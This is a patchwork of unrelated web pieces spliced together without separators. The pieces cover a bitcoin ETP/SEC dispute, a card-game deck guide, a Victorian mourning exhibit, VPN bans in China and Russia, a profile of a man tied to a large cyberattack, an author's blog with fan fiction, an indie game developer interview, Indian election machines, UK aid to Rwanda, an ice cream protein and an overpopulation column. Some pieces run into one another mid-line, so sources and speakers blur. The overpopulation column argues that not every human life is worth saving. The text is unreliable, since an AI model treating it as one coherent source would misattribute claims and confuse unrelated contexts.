Lastly, Corallo addresses the example of the “Ethereum/Ethereum Classic fork”, arguing that “DCG invested heavily on one side of the fork, almost entirely at odds with the remainder of the Ethereum userbase, businesses, and exchanges… If DCG had, at that time, owned the Sponsor of an Ethereum ETP under the proposed rules for the BIT ETP, they would be free to, and perfectly justified under the S-1 in, declaring the ETP to hold only Ethereum Classic, potentially to their own gain, and to significant market confusion.” This example is directly associated with the proposed upcoming Segwit2x fork, with Corallo stating that “DCG and some of its portfolio companies have been strongly promoting Segwit2x” – implying that the hypothetical example laid out in the Ethereum/Ethereum Classic example may potentially become a reality in coming months.
The implication that bitcoin’s core developers are appealing to the SEC to mitigate potential market risks associated with a fundamental underpinning to the bitcoin code – the ability to fork the network, has been perceived by many to comprise an attack on the bitcoin community’s ability to exercise autonomy in determining the future direction of the project. One Redditor posting under the pseudonym of ‘cryptokids‘ advances this position, stating that “the ability to fork is in the code…it’s a part of the bitcoin concept. Lack of central control and competition is a defining feature and it purifies the code, keeping everyone honest and forcing the chain to adapt to demand or perish. ‘Protection; from the SEC is protection from innovation and from the demands of the community.”
Just recently, news.Bitcoin.com published an in-depth look at a lesser known upcoming hard fork on the Bitcoin network planned for October 25 called Bitcoin Gold (BTG), concluding that there are a number of significant flaws with the project.
Do you think that the SEC will respond favorably to Corallo’s position regarding the BIT? Share your thoughts in the comments section below!
Images courtesy of Shutterstock, Digital Currency Group, Wikipedia
We got it all at Bitcoin.com. Do you want to top up on some bitcoins? Do it here. Need to speak your mind? Get involved in our forum. Wanna gamble? We gotcha.Watch me play it on Day Job!
Watch the build on Codebusting!
When you build your Mars colony, you need reliable delivery services. You need Red Planet Express! Score a Hostile Takeover and a Government Takeover and win the game. All thanks to the Red Planet Couriers!
If they steal your secret MomCorp Takeover plan, you hit the retaliate button and kill them.
AGENDAS
1x Government Takeover is the backbone of this deck. It enables our two turn win combo, it keeps our density low, and it the tungsten round in the retaliation pistol of Punitive Counterstrike
3x Graft I have yet to score a single one but if you had to you could to get more combo pieces and threaten. Also, keeps density low and enables Punitive.
3x Hostile Takeover helps clear currents and close the game, usually only scoring one. You do not want to give away bad pub in a deck where a random access to give the runner a GT.
ASSETS
3x Jackson Howard. Martian kids need toys too.
UPGRADES
2x Crisium Grid because it shuts off most multi access which is pretty much how you lose with this deck. Medium, Legwork, Deep Data Mining, etc. Also Account Siphon is a card that sucks for this deck.
OPERATIONS
2x Biotic Labor. We need this card because Red Planet Couriers (RPC) is a triple and we cannot protect a GT in a remote. In order for us to score we need a GT, RPC and BL in hand, 9 credits in the bank, and 9 advancements on ice.
1x Fast Track. We have low density, the turn before we combo we will occasionally need to fast track. If we have 2x biotic and an extra 4 credits then we can still combo in one turn by playing both biotic, fast track for GT, install GT, RPC.
3x Hedge Fund. Don't you worry about blank, let me worry about blank!
2x IPO. Scruffy believes in this company
3x Mass Commercialization is a hell of a card in this deck, It is usually getting me around 10 credits and I don't think I have ever fired it for less than 6.
3x Punitive Counterstrike is for if someone stops your glorious combo by stealing GT. Blow up their house and win that way.
2x Red Planet Couriers is the card that makes the deck go. We do not need three copies because we have a ton of set up to do. By the time all the advancements are on the ice and we have the other pieces, we will have the RPC in hand. Mulligan for it if you are worried.
2x Shipment from Kaguya speeds up our set up and immediately makes Mass Commercialization much better.
ICE
1x Changeling gives us more meat and gives us another way to gearcheck
3x Ice Wall is really good for early protect and we receive a return in tax from advancements
3x Hortum is the best code gate available to weyland right now.
1x Lotus Field is something that can't be killed or ice carvered.
3x Mausolus gives us a good taxing ice that punishes our opponent for going ham.
3x Colossus is my new favorite Weyland ice. You can keep advancing it to whatever level is going to be most taxing for their killer. It is just an incredibly solid ice especially for the outer position.
This deck is BoN because they get the small deck size for combo and they reward us for advancing multiple ice!
Don't you worry about employee strike, let me worry about blank!Secluded inside the elegant Camron-Stanford House, a Victorian mansion seated on the banks of Oakland’s Lake Merritt, Will and Alice Camron mourned their daughter, Grace, who died at home just after her second birthday.
That sad time was in 1877, but a visit to the historic house today brings the period back to life through the new exhibit, “Morbid Desire,” exploring the 19th century perspective on death in displays of art, costumes and historic details, plus special tours and events beginning Oct. 15.
What do you think about this? Join the conversation on the Oakland Tribune Facebook page.
“The exhibit is not really about death, it’s about the living and how they honored departed loved ones,” says Jean Wieler, a volunteer on the exhibit team.
Photographer and museum volunteer Reenie Raschke adds, “This project has been captivating to work on. Some of our discoveries are funny or weird, but mostly it’s been very comforting to study the reverence our ancestors had for each other.”
Indeed, life expectancy in the Victorian era was a little more than 40 years, making mourning rituals a common occurrence. The upper level of the house — the last of the beautiful 19th-century mansions that once surrounded Lake Merritt — has been decorated as if the Camrons are still grieving for little Grace. The lower-level exhibit galleries will display Victorian mourning costumes and accessories, including a special display of memorial jewelry provided by The Sacred Order, purveyors of antique jewelry. Many of these objects will be on sale during the exhibit.
The exhibit opens Oct. 15 and runs through Nov. 5 with guided tours at 1, 2 and 3 p.m. Sundays. Regular tour rates are $5 for adults. Additional fees apply for special events. The Morbid Cinema event on Oct. 21 will feature the new documentary, “Rituals of Remembrance” by local filmmakers Maggie Simpson-Adams and Elizabeth Sher. And the Morbid Evening event will be held at 7 p.m. Oct. 14. It’s an interactive gathering lit by candlelight and fortified with liquid spirits and gourmet snacks in which guests will attend a séance and “meet” Mrs. Camron to pay their condolences and tour the new exhibit.
For more weekend outings in the San Francisco Bay Area and beyond
follow us on Flipboard.
Space for all events is limited, and advance purchase of tickets is recommended.
Camron Stanford-House Museum: 1418 Lakeside Drive, Oakland; (510) 874-7802, www.cshouse.org."Artisan" in the least-true sense of the word.
It’s almost cute how hard McDonald’s is working to compete with foes like Shake Shack — the tricks up its sleeve include putting all-sirloin burgers on wooden boards and rolling out kiosks that, at least in theory, make Big Macs fancier. The latest stunt, though, is something called the Artisan Grilled Chicken Sandwich. It quietly materialized on McDonald’s online menu a few weeks ago, and appears to already be available at certain locations.
Slate’s Jordan Weissmann noticed a sign for the item at the register this morning. Besides flagrant use of artisan, the pitch’s tactics also include using the words “pantry seasonings” and a hand model doing a very bad job spreading mayo with a tiny spoon:
McDonald's, bewildered by modernity, is now selling an "artisan" chicken sandwich. http://t.co/w0UjwADAAp pic.twitter.com/3DnXmvDXfD — Moneybox (@SlateMoneybox) April 27, 2015
[Slate]"We're disappointed in this development, as it represents the most drastic measure the Chinese government has taken to block the use of VPNs to date, and we are troubled to see Apple aiding China's censorship efforts. ExpressVPN strongly condemns these measures, which threaten free speech and civil liberties," ExpressVPN wrote on its blog.
Earlier this year China’s MIIT announced that all developers offering VPNs must obtain a license from the government. We have been required to remove some VPN apps in China that do not meet the new regulations. These apps remain available in all other markets where they do business.
Note: Due to the political nature of the discussion regarding this topic, the discussion thread is located in our Politics, Religion, Social Issues forum. All forum members and site visitors are welcome to read and follow the thread, but posting is limited to forum members with at least 100 posts.
Russia has banned VPNs and other software that enables users to gain anonymous access to websites. The new law was signed by President Vladimir Putin on Monday and will come into effect on November 1st (via TechCrunch ).Leonid Levin, chairman of the Duma's committee on information policy and technology, was quoted by state-run media as saying that the new law is not targeted at "introducing new bans for law-abiding citizens" but aims to prohibit access to illegal content.However, privacy advocates see the law as another way for the Russian government to restrict access to political content that it disagrees with. In 2015, it became mandatory for all user data from Russian citizens to be stored in Russian-based servers, and last year another law was passed making it necessary for internet service providers to retain traffic data for up to a year.Recently the government also threatened to block access to the Telegram encrypted messaging platform unless the company that runs the app provides more information about itself.Elsewhere, virtual private networks took another blow over the weekend, as reports emerged that Apple has removed the majority of VPN apps from the App Store in China, following regulations passed earlier in the year that require such apps to be authorized by the Chinese government.The action was first revealed by ExpressVPN, a provider based outside of China. The company said in a blog post that "all major VPN apps" including its own had been removed from the App Store.The company shared a note from Apple explaining that its app was removed because "it includes content that is illegal in China". A few hours later, Apple issued a statement to TechCrunch explaining its decision to pull the apps from the App Store:Earlier this month, China reportedly started blocking some features of the WhatsApp messaging service, as authorities continued to tighten controls over the country's internet.During Apple's third quarter earnings call, Apple CEO Tim Cook said that Apple pulled VPN apps in China due to China's renewed effort to enforce the policy that prohibits them."We would rather not remove apps, but like we do in other countries, we follow the law where we do business." Cook went on to say that he hopes China will ease up on the restrictions over time."Sven Olaf Kamphuis calls himself the “minister of telecommunications and foreign affairs for the Republic of CyberBunker.” Others see him as the Prince of Spam.
Mr. Kamphuis, who is actually Dutch, is at the heart of an international investigation into one of the biggest cyberattacks identified by authorities. He has not been charged with any crime and he denies direct involvement. But because of his outspoken position in a loose federation of hackers, authorities in the Netherlands and several other countries are examining what role he or the Internet companies he runs played in snarling traffic on the Web this week.
He describes himself in his own Web postings as an Internet freedom fighter, along the lines of Julian Assange of WikiLeaks, with political views that range from eccentric to offensive. His likes: German heavy metal music, “Beavis and Butt-head” and the campaign to legalize medicinal marijuana. His dislikes: Jews, Luddites and authority.
Dutch computer security experts and former associates describe Mr. Kamphuis as a loner with brilliant programming skills. He did not respond to various requests for interviews, but he has communicated with the public through his Facebook page, which includes photos of himself, a thin, angular man with close-cropped hair and dark, bushy eyebrows, often wearing a hoodie sweatshirt.As those of you who were following the cage match already know, Bast couldn’t pull off the win against Rake.
What can I say? Dude can eat a *ton* of pie.
And before you ask, no, I won’t be writing up the Bast vs. Zaphod fight anyway. I was surprised at someone’s post on Wednesday’s blog when they said something along the lines of, “After he mentioned something like this, how can Pat not write the scene?”
The answer is this: “Quite easily.”
You see, *not* writing things is really, really easy. Believe it or not, there are an infinite number of stories that I don’t write every day. Adding one more to that list won’t appreciably increase the not-burden of that not-writing.
What I did find oddly galling were some of the comments along the lines of, “Bast could never win against X. X has a power level of 9000!!1!”
This bothered me for two reasons:
First, you have to realize that any time something like this is an open vote, it’s ultimately a popularity contest.
Here’s a mnemonic to help you remember: “When the internet votes on who will die, it comes down to Vox Populi.”
But vastly more irritating to me is the odd opinion that strength/power is the key factor when two people come into conflict.
The truth is, I find that sentiment more than irritating, I find it troubling. It means a lot of you haven’t been paying attention to the books I know you must have read.
If power is the only important thing, then Frodo loses against Sauron. Hell, if power’s the only important thing then Gandalf loses against Sauron. If magic is the deciding factor of a fight, then four plucky kids from England get their asses turned to stone by the White Which.
So yeah, Rake can turn into a dragon, but the point of fairy tales is that they teach us that dragons can be beaten.
I see too much fatalism these days, folks. The truth is that the world is full of dragons, and none of us are as powerful or cool as we’d like to be. And that sucks. But when you’re confronted with that fact, you can either crawl into a hole and quit, or you can get out there, take off your shoes, and Bilbo it up.
Man. I don’t know if this is going to make any sense to anyone. I meant this to be a lighthearted blog. A quick lead-in to the story below.
But the truth is, folks, tonight wasn’t a good night for me. It was one of those nights where I wake up and can’t go back to sleep because I’m worried about things. I worry about so many things. The environment. The concealed carry law. Kids not having food to eat. Parents who have to work so much that they don’t have time to be good parents. The fact that people vote based on television ads. The fact that some guys out there want to kiss other guys, and some girls want to kiss girls, and other people really have a huge fucking problem with this, to the point where people get killed over it.
There’s just so much shit that is really wrong in the world. And it’s so big.
But that’s the point, isn’t it? Yeah. It’s big. What are you going to do? You can lie in bed, staring at the dark. Or you can get up and do something. Even if that something is as small as writing a blog that might make people smile.
Or, in this particular case, you write a blog that ends up as a great rambly mess that makes you look like a homeless guy preaching on a street corner. I should probably just erase this and start over. But fuck it. If I can’t write what I want in my own blog, then what’s the point of writing anything at all?
Okay. Back onto topic.
Simply said, I’m not going to write up the Bast vs. Zaphod fight. But when I wrote Wednesday’s blog, I dug out the scene I wrote for the Kvothe vs. Aslan match. What’s more, I was surprised at how well it held up. I wrote it two years ago sitting in a hotel lobby when I woke up in the middle of the night and, coincidentally enough, couldn’t get back to sleep.
I’m pretty sure it’s okay for me to post this up. While I am using a character that is Lewis’ intellectual property, I think it falls under fair use, as I’m not making any money off it.
Anyway folks, for those of you who wanted to see it, here it is:
* * *
There wasn’t any snow on the ground, but the early morning air was chill as the cloaked and hooded figure moved through the forest, brushing aside the fir branches as he went. Eventually the trees thinned and the figure stepped from the pale blue of early morning into a warmer, richer, light.
The cloaked figure smiled fondly and ran one hand over the iron lamppost. Then sighed and walked past it, moving deeper into the forest. After the better part of an hour he found a clearing where a small stream cut through the thick grass, making a gentle sound as it rolled over the stones.
Still wearing his hood, the figure looked around for a long moment. Then he spoke: “Aslan,” he said, and though he did not speak loudly, his voice was strangely resonant, striking the air like a bell. “Aslan.” He looked around, drew a breath, and squared his shoulders. “Asl–.”
“You cannot bid me come,” came a deep, sweet voice from the edge of the clearing. It was like distant thunder laced with honey. “Neither can you bid me go.”
“Of course not,” the cloaked man said. “You’re not a tame lion.”
There was a low, throbbing sound that almost sounded like a purr, and a lion padded softly out of the trees, his huge feet making no noise in the grass. The sun came out from behind a cloud, warming the air, and when it struck the huge animal he shone as if made from molten gold.
“Nice entrance,” Kvothe said pushing back his hood. His hair caught the sun as well, shining like copper and fire. He looked younger than his voice sounded, a boy just on the verge of becoming a man.
“I will admit,” Aslan said. “I did not expect you to come here.”
Kvothe unclasped his cloak and lay it carefully on a nearby tree and looked back up at the lion. His clothes were threadbare, only a half step away from being truly ragged. “I thought we should talk.”
“We are to fight,” Aslan said. “It strikes me as odd that you should come here and give me the advantage of the home ground. It seems your best hope would be hold your ground, force me to come to you, so you might catch me with some trick or trap.”
Kvothe smiled. “That reminds me of a joke,” he said. “How do you catch a unique lion?”
The lion cocked his head.
“You neek up on it,” Kvothe said with a straight face.
Aslan’s tail stopped its restless motion. He turned his head slightly to look behind himself.
Kvothe continued, “How do you catch a tame lion?”
The lion turned back to look at him, but said nothing.
Kvothe gave a slightly embarrassed smile. “Tame way.”
There was a moment of silence, and then the clearing was filled with a low thrumming noise that could conceivably be the sound of a lion chuckling.
“It’s been a long time since anyone told me a joke,” Aslan said, then shook out his great golden mane. “But we still have to fight.”
“We do,” Kvothe agreed. “Though it might be more accurate to say that we are forced to come into conflict.”
“And you know you cannot win, especially here,” Aslan continued. “The only question is how much you might hurt me before the end.”
Kvothe shook his head seriously. “No, the real question is how much will winning cost?” The young man smiled a small, sad smile. “Believe me, this is something I have some personal experience with.”
“I… I don’t know if I follow you,” the lion said.
“If we fight, you’ll kill me,” Kvothe said matter-of-factly. “You’ll win, but there will be a cost.”
“You would bring your death curse upon me?” Aslan said.
“That’s Harry Dresden,” Kvothe said, obviously irritated. “Come on now. Except for point of view and a respect for thermodynamics we really don’t have much in common.”
“Oh,” Aslan cleared his throat. “Right. Sorry.”
“There’s nothing I could do to you if I lost,” Kvothe said. “And honestly, I’m not sure I’d want to. I’m not really one of those ‘from hell’s heart I stab at thee’ types.'”
“Actually,” Aslan said, “From what I’ve heard, you’ve…”
“Don’t believe everything you hear,” Kvothe interrupted, his eyes narrowing. “My point is this: if you kill me, there will never be a second book.”
Aslan was silent for a moment. “So you’re threatening me with reprisal from your fans?”
Kvothe shook his head again. “You’re missing my whole point. I’m not threatening you at all. I’m just saying that if you kill me now, people will never get the chance to read the rest of my story.”
Aslan looked thoughtful. “And the result is…”
“Despair,” Kvothe said. “Terrible despair in the hearts and minds of thousands.” He gave the lion a frank look. “You’ve always struck me as the sort of person…”
“Lion.”
“Sorry… You’ve always struck me as the sort of lion that was trying to make people happy in the long run. Not the sort that would actively cause despair.”
Aslan lifted one huge paw from the ground and then pressed it down again. He cleared his throat. “Tricky.”
Kvothe nodded. “Your books are all finished. You’re immortal in ways more important than the obvious. I’m not quite there yet.” He sighed. “That’s why I figured we should talk.”
After a long moment, the lion looked up. “So what’s the other option?” his voice was low and uncertain.
“Forfeit,” Kvothe said. “Just walk away.”
“*You* could forfeit,” Aslan pointed out.
Kvothe shook his head. “It’s not in my nature to give up or walk away. I’m psychologically unable to back down from something like this. Hell, I’m a short step from feral.” He ran his hands over his ragged clothes, half embarrassed.
Then he made a sweeping gesture to the huge lion. “You, on the other hand, are a noble creature. You have a precedent for martyrdom. It’s consistent with your character. You better than anyone know that sometimes the only way to win is to concede.”
Another pause, then Aslan spoke. “You’ve thought about this a lot, haven’t you?”
Kvothe smiled again, and for a moment his face was almost boyish. “It’s all stories,” he said. “That’s what I do.”
Aslan looked up and swished his tail. He drew an impossibly long, deep breath. “Fine. Fair enough. I concede.”
Kvothe sagged with relief. “Thank God.”
“You’re welcome,” the lion said as he turned his massive head and began to walk from the clearing.
“Um…” Kvothe said. And for the first time since he came into the clearing he looked unsure of himself. “Before you go…. I was wondering…. Could I?”
Aslan gave a great gusty sigh that was more amused than exasperated. “Very well.”
Kvothe stepped closer to the lion, moving hesitantly. Then he raised his hands slowly and sank them deep in the thick golden mane. He leaned forward and gave the huge lion a hug, burying his face in the lion’s fur.
After the space of a deep breath, Kvothe pulled his face away, but left his hands where they were. “I’ve wanted to do that forever,” he said softly, his voice a little choked. “My mom used to tell me your stories.”
“I would lick your face,” Aslan said gently. “But it looks like it’s been a while since you’ve washed it.”
Kvothe laughed and stepped back from the lion.
“When is the second book coming out, by the way?” Aslan asked. “I’ve been waiting frikking forever.”
“Soon,” Kvothe said.
“What does that mean?” Aslan said. “In a couple months? Sometime this year?”
|
you to the developer for allowing us this interview. One thing to note: the responses here were edited only for clarity and ease of reading purposes. They were the extent of adding a “the” or an “a” here and there. This was all done with the interviewee’s permission, with him okaying all of the edits.
One final thing: the ideas expressed here are not necessarily shared by myself or TechRaptor but are the interviewee’s own.
What made you decide to go into game development?
Game development is a great way to express yourself on a global scale. Games in general are a unique experience that remove boundaries between cultures. I cannot reach a large variety of audience as a writer because my native language is understood by only the local population. Filmmaking has its own limitations, I am stone-deaf for music, so game development was a natural choice as I had enough skills in modeling and programming to get me started. My game is a 3D puzzle/horror and the topic taps a taboo subject – false rape and sexual harassment accusations. I am trying to capture the horror of false accusations in a man’s life. Nowadays it’s very popular to speak about how men are inherently animals who constantly harass and rape women. Nobody is willing to explore what happens to the “real victims.” Art is all about tough questions. Following one’s playbook to correctly express yourself and ask only pre-determined questions is evil, just evil.
How do you feel about game development now that you have been doing it for awhile?
Game development is a tough job. Unlike other mediums, it’s easier to ask questions and allow several sets of solutions, but extremely hard to express the questions and answers in an unusual way. And then here comes gameplay and game mechanics. Those two create an “experience.” Good gameplay creates more unique experiences per player. A game without gameplay or game mechanics is an interactive story, and I don’t think those two are the same. Calling a game an interactive story is offensive to game designers.
What issues with development have you run into, on a personal level, or with journalists, other developers, or other members of the industry?
On a personal level, I have sacrificed my social life, and that’s ok. Making games gives me enough sense of fulfilment not to whine about what is missed, Friday nights in bars or Saturday barbecues with friends. When I first fired up UDK I already knew I was sacrificing my social life and putting myself through hell. I have not had any real interactions with journalists. Fellow developers are always supportive. Sometimes I am just amazed how far they will go to help you solve a problem.
Do you think the gaming industry is in a good position right now?
I cannot speak about the AAA side of the industry but in light of the latest events, I feel sorry for the indie scene. The main reason I decided to make an indie game was a well-known movie about the indie scene where now well-established developers posed themselves as artists. They praised independence and creative freedom and pissed on AAA studios. Today we are on a crossroad. Direction A means we, as indie developers commit ourselves to censorship and Direction B means we keep our “artistic freedom.” I was expecting the very same people from the movie to push events in Direction B’s favor but now one of them agrees that gamers are dead, one of them whines and acts like a toddler and others keep radio silence. So yes, I feel sorry for indie scene. Today the indie scene is betrayed and raided by clueless people.
To switch gears for a moment, you mentioned that you worked for a large media outlet. What did you learn there that can be applied to the gaming industry?
There is no subject you cannot discuss and discussion requires you to be respectful toward your opponent. Even the worst “enemy” deserves respect during an argument. Without respect discussion derails and becomes pointless screaming. Part of the respect is having real evidence against an opponent. Just because you think somebody is wrong doesn’t make him actually wrong. These notes were in an editorial playbook and the same notes were actually used by journalists. So, it would be great if the USA/UK based large publications took notes from a 3rd world outlet.
Now that you have experience on both sides, in the media and as a developer, what do you see as the biggest issues in the industry today?
Lack of honesty and fear of the truth. I think current mainstream media are the cancer of the industry. I am not saying that tech media is all about gadgets and games. No, every single outlet should address problems in the industry but discussion must be open and free from name calling. The magazine, where I worked, was a right wing publication and even they omitted name calling. Not a single mention of communist, Marxist or something like that and you know why? Because every editor was a professional journalist. They knew what ethics was, they knew one sided arguments and name calling was cheap. This kind of attitude led our nation to open dialogue, helped us to discuss touchy topics and in result we are just a bit better society. We need same approach in the industry and not the Polygon like approach where journalists and moderators label you as a rape apologist if you question prominent feminist’s intentions and qualifications. We don’t need Kotaku where journalists self moderate discussion and threaten everyone who doesn’t agree with their view.
What made you decide to speak out now?
50% personal fears and 50% of historical experience with my country. As I mentioned before, my game is about a taboo topic, and I am doomed to be called sexist, a misogynist and victim blamer by some in the media. In a healthy industry, every game would be judged by quality and not by how it reflects current agendas. If games are art, we must agree that art is not a concrete substance. Realism is a valid form of art. I love realism. Frankly reality is gray. So, excuse me if I don’t buy irrational feminists white and black ideas that men are inherently rapists and women are victims. As an artist, I want to explore every side of the issue. On the historical experience note – the history of the last two centuries in my country is a history of oppression and censorship. The brightest minds of our society were executed and alienated by authorities. The only acceptable topics in art were topics mandated by censors. In the result a once rich culture drained and became anti-art. I know how dangerous censorship is. Censors killed culture with several centuries worth of experience and now imagine what they can do to a culture as young as video games.
We want to thank the interviewee again for this opportunity to be the platform for his voice.
Note: The ideas expressed here are not necessarily shared by the author or TechRaptor, but are the interviewee’s own.
Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!NEW DELHI: While the Election Commission will hold the upcoming assembly polls in Gujarat and Himachal Pradesh fully with voter-verifiable paper audit trail ( VVPAT ) machines, there will be no mandatory counting of paper trail in a designated percentage of polling stations in the two states.Sources in the poll panel told TOI on Sunday that the EC was not in favour of introducing compulsory counting of VVPAT slips up to a definite percentage just yet, as it wanted to focus on smooth conduct of 100% VVPAT-based polls in the two states later this year. “We need to adopt a step-by-step approach. The Gujarat and Himachal polls will be the first set of bigger and multiple states going for fully VVPAT-based voting, after it was first implemented in Goa. We need to get the system of 100% VVPAT-based polls right and iron out glitches before moving on to mandatory counting of paper trail in a fixed number of polling stations in each constituency,” a senior EC functionary said.VVPAT machines produce a printout of each vote cast on an EVM. This paper trail can be used to resolve disputes. Stating there was already a provision in the counting rules enabling a candidate to seek paper trail count if not satisfied with the result, the EC functionary said candidates were free to exercise this option in the Gujarat and Himachal polls. “VVPAT slips were counted in a few polling stations in Goa. The returning officer is empowered to decide on such requests, even without the EC introducing mandatory counting of paper trail,” the officer clarified.The suggestion for compulsory counting of paper trail up to a fixed percentage was first placed before the EC at an all-party meeting on EVMs in May. Some political parties, including AAP, demanded that this be introduced to instil greater confidence in the reliability of VVPAT. While AAP had mooted mandatory counting of paper trail in 25% of polling stations in each constituency, the EC discussed a 5% ceiling, while ensuring that paper trail was not mandatorily counted in less than five or maximum 14 polling stations of each constituency.However, after it was noticed that mandatory paper trail count even in a small percentage of polling stations would delay results by at least three hours, coupled with the logistical challenges of implementing it in bigger constituencies, the election commission set up an internal panel to finetune the framework. The committee is yet to submit its report.The British government will give £9m to a programme run by the Rwandan government, three months after freezing general budget support to the country amid allegations that it financed rebels in the Democratic Republic of the Congo (DRC).
The bulk of a £16m package of "reprogrammed" funding to the country, announced on 1 March by Justine Greening, the international development secretary, will be disbursed through the Vision 2020 Umurenge programme (VUP), a social protection initiative owned and led by the Rwandan government. The scheme will be used to make unconditional cash payments totalling £9m to 545,000 of Rwanda's most disadvantaged people.
The Department for International Development (DfID) defines funding provided under the VUP as "financial aid to government". It was previously classified as sector budget support (finance for a specific area of government activity related to poverty reduction); a World Bank aide memoire dated September-October 2009 said DfID would contribute £19.7m over four years (2009-12) to the VUP in "sectoral budget support". In short, the UK has redefined the nature of its payments.
A summary published this week on the DfID website said UK support for the VUP, in the form of financial aid and technical co-operation, would total £29.03m between 2008 and 2013. UK payments will be administered by the Rwandan government, with funds paid into a separate bank account that will be independently monitored and audited.
It is understood that the money will not be subject to partnership principles, the criteria recipient countries must meet to receive budget support (aid given directly to governments). These criteria cover poverty reduction and the millennium development goals, respect for human rights, good governance, transparency and accountability.
Britain's decision to channel development assistance through a government programme, barely three months after withholding £21m in aid to Rwanda due to a breach of partnership principles, is being closely scrutinised.
Ivan Lewis, the shadow development secretary, said: "[Greening] needs to come clean about DfID's relationship with Rwanda. On the one hand, the UK government is claiming egregious behaviour by the Rwandan government sufficient to suspend direct support, while on the other dispersing £9m to a cash transfer programme administered by the very same government.
"How can the secretary of state expect the UK public, let along the Rwandan government, to take her claims of support for long-term stability in the region seriously?"
The VUP, which was set up by the Rwandan government in 2009 with the aim of eradicating extreme poverty in the country by 2020, is overseen by the ministry of local government, delivered by the local development support fund (an agency of the local government ministry), and supported by the ministry of finance and economic planning. The scheme is regarded as a flagship component of Rwanda's economic development and poverty reduction strategy.
"The VUP is a very strongly government-owned programme, even though it's largely externally financed," said Stephen Devereux, of the Institute of Development Studies, who was commissioned by DfID to assess the programme between 2009 and 2011. "In many other countries, you find that donors decide what projects are going to be run because they put the money in. But in Rwanda, which is very similar to Ethiopia, the government is very strongly in charge of the programme even though it's funded by a pool of donors. Donors put the money in, but all the decisions are taken by the government …
"[Rwanda's attitude is:] 'We appreciate the donors, but we are not donor dependent and we don't kowtow to them' – which means that, although they do depend on donor money, they don't act like it. They behave very strongly and autonomously, and make their own decisions. If the donors don't like it, then they must withdraw their money."
Greening's announcement of the reprogrammed funding, none of which will be disbursed as general budget support, was widely reported as an attempt to bypass the Kigali government in the wake of a November report (pdf) that, she said at the time, provided "credible and compelling" evidence of Rwandan support for the M23 militia in Congo.
Chantal Daniels, Christian Aid's Great Lakes policy and advocacy officer, called for clarity on DfID aid to Rwanda. "If DfID defines this money as other funds distributed via the Rwandan government, then this really requires more attention on what this exactly means from all of us," she said.
"The UK is one of the main donors in both the DRC and Rwanda, so they have to take a firmer stance on Rwanda, especially if they recognise that it breached the partnership principles by supporting the M23. We believe that by reprogramming UK funds to Rwanda, we ensure that the poorest receive assistance while a clear signal is given to the Rwandan government that meddling in other countries is not accepted. Considering the breach of partnership principles by the Rwandan government, we are currently not in favour of distributing funds through the Rwandan government."
Britain has been one of the largest bilateral donors to Rwanda. In the past, development assistance accounted for about 40% of the east African country's budget. Rwanda was among 11 signatories to a regional peace agreement signed last month, and has been praised for progress on poverty alleviation.The days of dripping cones and chocolate stained white t-shirts could soon be gone forever.
Scientists have discovered a way to create firmer ice cream which stays frozen for longer, thanks to a protein which helps ingredients stick together.
The protein, which binds together the air, fat and water in ice cream, naturally occurs in a Japanese breakfast food known as ‘natto’.
But researchers at the University of Edinburgh and the University of Dundee have discovered that by adding the protein to ice cream, a scoop stays intact for longer.
The days of dripping cones like this could soon be gone forever as scientists have discovered a protein which helps ice cream stay frozen longer
The protein could also stop ice cream from crystallising when frozen, instead leaving a smooth creamy consistency.
The development will mean that manufacturers could create ice cream using less saturated fat resulting in desserts with less calories.
Scientists exploring ways of using the protein believe that ice cream made with the ingredient could be available on the market within three to five years.
Japanese breakfast food Natto, which is made from fermented soy beans, contains a protein which binds ice cream together
Natto, which is made from fermented soy beans, is often eaten with cooked rice. It is high in protein with a sticky and stringy texture but has a pungent cheese-like smell.
The protein which occurs in the soy beans, called Biofilm surface level A (BslA), helps fat droplets and air bubbles cling to one another.
As well as making eating ice cream more enjoyable for punters, the findings will be welcomed by manufacturers because BslA will keep products frozen for longer.
The development will also benefit the supply chain as delivery drivers will be under less pressure to maintain products at such a low temperature.
Scientists believe that the protein, which acts as an elastic-like film, could also be used in the future as a coating substance.
The protein was developed with support from the Engineering and Physical Sciences Research Council and the Biotechnology and Biological Sciences Research Council.
Researchers at both universities had previously discovered that BslA was an effective waterproofing agent which could keep bacteria in perfect conditions without any liquid permeating its surface.
Professor Cait MacPhee, of the University of Edinburgh’s School of Physics and Astronomy, who led the project, said: ‘We’re excited by the potential this new ingredient has for improving ice cream, both for consumers and for manufacturers.’by Frank Azzurro on August 27, 2009
There are many people – some of them well-respected scientists – who have been talking about overpopulation for decades.Â
Dr. Albert Bartlett, even Isaac Asimov – intelligent men who see through our complex social structure and boil it down to the simplest form, so it can be seen for what it is.
Most people in modern society don’t like talking about overpopulation because they don’t want to admit that not every single human life is precious and worth saving – which denies the simple reality that death happens; either at old age or infancy, it’s inevitable. It can happen under tragic or not-so-tragic circumstances.  The most profound part of our existence is the fact that it ends, and yet we still can’t really grasp it. If every human life isn’t worth saving, the thinking goes, then maybe my life isn’t worth saving, and this is unacceptable to just about everyone. Instead of simply admitting that we are a society of narcissistic morons who parrot about individual rights and entitlements while hoarding and consuming all available resources, though, we project that thinking into, “no one’s life is anything but precious, therefore anything that reduces or limits anyone else’s entitlements is a direct attack on humanity and life itself.” Of course, this is silly as it relates to overpopulation, because the simple fact of the matter is that the less people we have, the more resources there are for everyone.
The point that’s being driven home by those who believe overpopulation has and will continue to be a real problem in our world, can be expressed in this equation:
Number of people * Average resource consumption per person = Total resource consumption
The simple beauty of this equation really begins to shine when one considers what humanity can control and what makes sense to control: the average consumption per person, or the number of people on planet Earth? The answer is obvious, but cutting through social norms proves a bit more difficult:
This is a column I don’t want to write. Its subject is ugly; it makes me instinctively recoil. I have chastised people who bring it up at environmentalist meetings. The people who talk about it obsessively have often been callous about human life, and consistently proved wrong throughout history. And yet … there is a grain of insight in what they say. The subject is overpopulation. Is our planet overstuffed with human beings? Are we breeding to excess? These questions are increasingly poking into public debate, and from odd directions. Phillip Mountbatten — husband of the British monarch Elizabeth Windsor — said in a documentary screened last week: “The food prices are going up, and everyone thinks it’s to do with not enough food, but it’s really (that there are) too many people. It’s a little embarrassing for everybody, nobody knows how to handle it.” He is not alone. [+|SeattlePi.com]
Further complicating this issue is the manner in which overpopultion is becoming a problem for everyone. Of course, planet Earth is still a big place, so the problem isn’t evident everywhere, and many people are now used to the idea of living in crowded cities so they scoff at the idea that infrastructure could collapse if yet more people were added into the fold. This is another layer of our social reality that most people refuse to see through, but when you look at the facts from a birds-eye view, you realize that something unpleasant has to happen – even with the first-world relief valve of immigration (legal or illegal) continuing to allow populations nearest the equator to continue to grow:
